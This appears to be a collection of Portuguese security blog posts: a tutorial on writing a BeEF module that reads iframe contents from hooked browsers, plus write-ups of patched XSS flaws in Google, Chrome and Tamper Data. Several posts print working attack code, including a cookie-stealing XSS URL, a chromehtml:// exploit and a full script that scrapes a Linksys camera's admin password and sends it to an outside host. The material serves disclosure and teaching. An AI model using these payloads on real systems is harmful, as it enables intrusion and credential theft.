Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.

Nossa tarefa será aumentar a complexidade do módulo adicionando opções configuráveis. Sendo assim, ao contrário do módulo “URL Crawler”, onde bastava apertar o botão para explorar, teremos um formulário com opções que vão definir o que será processado pelo zumbie.

# Módulo: “Iframe Tools”

Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.

Nosso módulo terá duas funções:

• Listar todos os iframes disponíveis na página, retornando nome e ID.
• Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.

Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais fugindo dos padrões.

1# Estrutura e o Arquivo de Nome

Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de iframe_tools dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo name.txt contendo apenas Iframe Tools . Até aqui, nada muda .. mas só até aqui.

2# O Payload (JavaScript)

Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se template.js. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.

Teremos então:

• template-lista.js : Lista e retorna os iframes na página
• template-le.js : Lê o conteúdo do iframe previamente especificado.

O primeiro (template-lista.js) é semelhante ao “URL Crawler”. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:

function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );

O código é muito simples: Verifica as tags <iframe> que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.

Falando em obter conteúdo, eis o simples código que fará esta função. Ele ficará no arquivo template-le.js e, obviamente, requer uma informação que deve ser previamente definida: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra IFRAME-ID

return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);

Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. Nunca use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.

3# A Página de controle do Módulo (index.php)

Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.

Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.

Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.

No início do arquivo, criamos definições para “chamarmos” nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.

<?
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
?>

Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave IFRAME-ID (que criamos em #2) pelo valor digitado no campo “idiframe” do form de nome “myform”. A função também define qual payload será enviado, verificando se o campo está ou não em branco.

<script>

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '<? echo get_b64_file(JS_FILE_LISTA); ?>';
var b64codele = '<? echo get_b64_file(JS_FILE_LE); ?>';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

</script>

Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.

<div id="module_header">Iframe Tools</div>
Lista ou retorna o HTML de um Iframe.<br><br>
<div id="module_subsection">
<form name="myform">
ID do Iframe: <input type="text" name="idiframe" value=""/> <i>(Em branco: Lista Iframes)</i>
<input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>

4# Tudo pronto!

Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:

Sem especificar ID (lista Iframes):

Ao especificar um ID (retorna conteúdo do Iframe):

É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato

Até a próxima!

Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos os seus serviços\sites, era possível obter informações pessoais, enviar seu cookie para um script na web, roubar sua lista de contatos, ver seus documentos no Google Docs, e até adicionar gadgets em seu Igoogle.

A falha foi reportada pelo autor do SecureThoughts.com, que se identifica por “Inferno”, no dia 18/04/2009. A Google respondeu em apenas uma hora, mas a correção foi publicada apenas no dia 05/05/2009.

O script vulnerável foi programado em python, tem o nome de answer.py e fica localizado em http://google.com/support/webmasters/bin/answer.py .

O script declarava uma variável em javascript com o valor passado na variável cbid. Apesar de filtrar caracteres como “ (aspas), (espaço), <, >, {, },  o script não filtrava ‘ (aspa única). Este caractere era o suficiente para finalizar a declaração da variavel e começar a escrever o código java-script a ser injetado. Abaixo, uma prova de conceito que era válida, que exibiria um alerta com seu cookie:

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g‘;alert(document.cookie);//&src=cb&lev=index

Maiores detalhes e outras provas de conceito podem ser vistas neste post (em inglês)

Fonte: SecureThoughts.com

Ok, peço-lhes desculpas pelo sensacionalismo no título, mas ele é justificavel. O assunto é sério.

Ontem, dia 27 de abril, a equipe IBM Rational Application Security Insider, cujo blog já citei aqui, descobriu uma falha que merece nossa análise. Um usuário navegando com Internet Explorer, ao entrar em um site com o código malicioso (exploit),  tem seu Chrome aberto interpretando um java-script ou visitando uma url previamente definida.

Tais exploits podem conter instruções em java-script quaisquer. Um dos exemplos de maior risco apresentado demonstra que é possível burlar a restrição de mesma origem (Same Origin Policy) . Em outras palavras, um XSS universal!

Ele permite também descobrir se determinadas pastas existem ou não no computador do usuário usando uma antiga técnica  que é detalhada neste link.

Como ele funciona?  Vamos lá.

O chrome  ao ser instalado, adiciona no registro do windows um valor que associa chromehtml:// à seu executável.

HKEY_CLASSES_ROOT\ChromeHTML\shell\open\command

Com isto, podemos usar chromehtml:// para chama-lo. Agora vamos ao código de exemplo:

<html>
<script>
document.location = ‘chromehtml:”80 www.attacker.site.com’;
</script>
</html>

Segundo o advisory, o comando destacado acima, ao ser interpretado pelo Internet Explorer, executaria o executável do chrome com os seguintes parâmetros:

“C:\Pasta\do\chrome\chrome.exe” –  “chromehtml:”80 www.attacker.site.com”

Isso faria com que o Chrome fosse carregado contendo duas tabs: A primeira tentaria carregar, sem sucesso, a url http://chromehtml . Já a segunda carregaria, com sucesso, http://www.attacker.site.com

O mesmo ocorre com java-scripts sendo passados por javascript:codigo_aqui; no mesmo exploit acima. Um exemplo, descrito pelo advisory, de alert:

<html>
<script>
document.location = ‘chromehtml:”80 javascript:eval(‘alert(\’JavaScript%20Code%20Executed\’); ‘));‘
</script>
</html>

Para burlar a Same Origin Policy o seguite código deve ser passado nos parâmetros acima:

<script>
setTimeout(“alert(document.cookie);“, 2000);
document.location.assign(“http://demo.test.site/“);
</script>

Neste caso, inicialmente seria carregado na aba o site alvo (vermelho) e após o tempo especificado (verde) seria executado o código no mesmo (azul), burlando, assim, a regra de segurança.

Maiores informações, assim como outros exemplos, como o de detecção de pastas no computador alvo, são descritos no advisory, que pode ser baixado aqui (em .doc) .

A equipe do Google Chrome rapidamente lançou uma correção. Maiores detalhes no blog do chrome.
Fonte (mais uma vez, do incrível): IBM Rational Application Security Insider

Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL

Os posts podem ser lidos aqui: Parte 1, Parte 2, Parte 3, Parte 4. Eu recomendo!

Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.

Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( /adm/file.cgi?next_file=pass_wd.htm ) o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir > Código Fonte).

<input type="password" size="8" maxlength="64" name="admpw" value="SenhaAqui"
onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

O mesmo ocorre na página de mudança da senha Wireless.

Agora, o questionamento principal: Por que não dão a devida importancia a este tipo de falha? O pessoal do GNUCITIZEN respondeu incrivelmente:

No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas do Aircrack Suite) e, principalmente, que para estar lendo aquilo, o “hacker” já deveria estar na rede, ou seja, já saberia a senha wireless. Estão errados!

Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (sniffing) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). Novamente, errados!

O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: Cross-site Scripting (XSS).

Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros  e retornaria o resultado.

Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {
			req = new XMLHttpRequest();
        	}
		catch(e) {
			req = false;
        	}
    	}
    	// branch for IE/Windows ActiveX version
	else if(window.ActiveXObject) {
       		try {
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		}
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		}
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) {
			var bits=req.responseText.split(/\"/);
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i<bits.length;++i) {
                                if(bits[i]=="adm" && bits[i+1]==" value=") {
                               		gems+="login=";
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {
                                       	gems+='&password=';
					gems+=bits[i+2];
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	}
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

Fonte: GNUCITIZEN

Hoje vou comentar de uma vulnerabilidade simples e de impacto baixo. Dificilmente ela trará prejuizos ou causara maiores danos a alguém. Por que algo de tamanha simplicidade está aqui blog, então? Porque a mensagem que a falha passa é muito mais ampla: Não é só dentro dos códigos de sites que acontece o Cross-Site Scripting.
Tudo bem, isso não é lá novidade… mas é importante alertar e ampliar as análises nestes programas.

A falha que lhes trago hoje é a do excelente plugin para firefox Tamper Data (que, por sinal, é um de meus favoritos!) . Esta ferramenta, que é uma mão na roda para quem é da área, o permite editar parametros POST\GET de solicitações feitas por seu navegador.

Porém, os recursos do plugin não param por ai. Ele exibe, também, uma página de detalhes de todas as URLs que passaram por ele, com seus respectivos tempos de carregamento, retorno do servidor, etc. Esta página é formatada em HTML (vide screenshot abaixo).

Mas tudo bem. Por não estar rodando sob domínio qualquer, não é possivel usar esta falha para obter dados, como por exemplo, cookies. No máximo, um usuário malicioso poderia alterar os resultados do relatório ou tentar obter o conteúdo contido nele. Nada de muito grave, não é mesmo? O importante aqui é saber que as preocupações em filtrar caracteres não devem se limitar as páginas, mas sim a tudo que vá renderizar html e javascript.

A falha, o relato da falha e as screenshots são do excelente blog “IBM Rational Application Security Insider”.
O autor do plugin, Adam Judson, foi contatado e rapidamente solucionou a falha. A versão 10.0.4 foi publicada com o patch.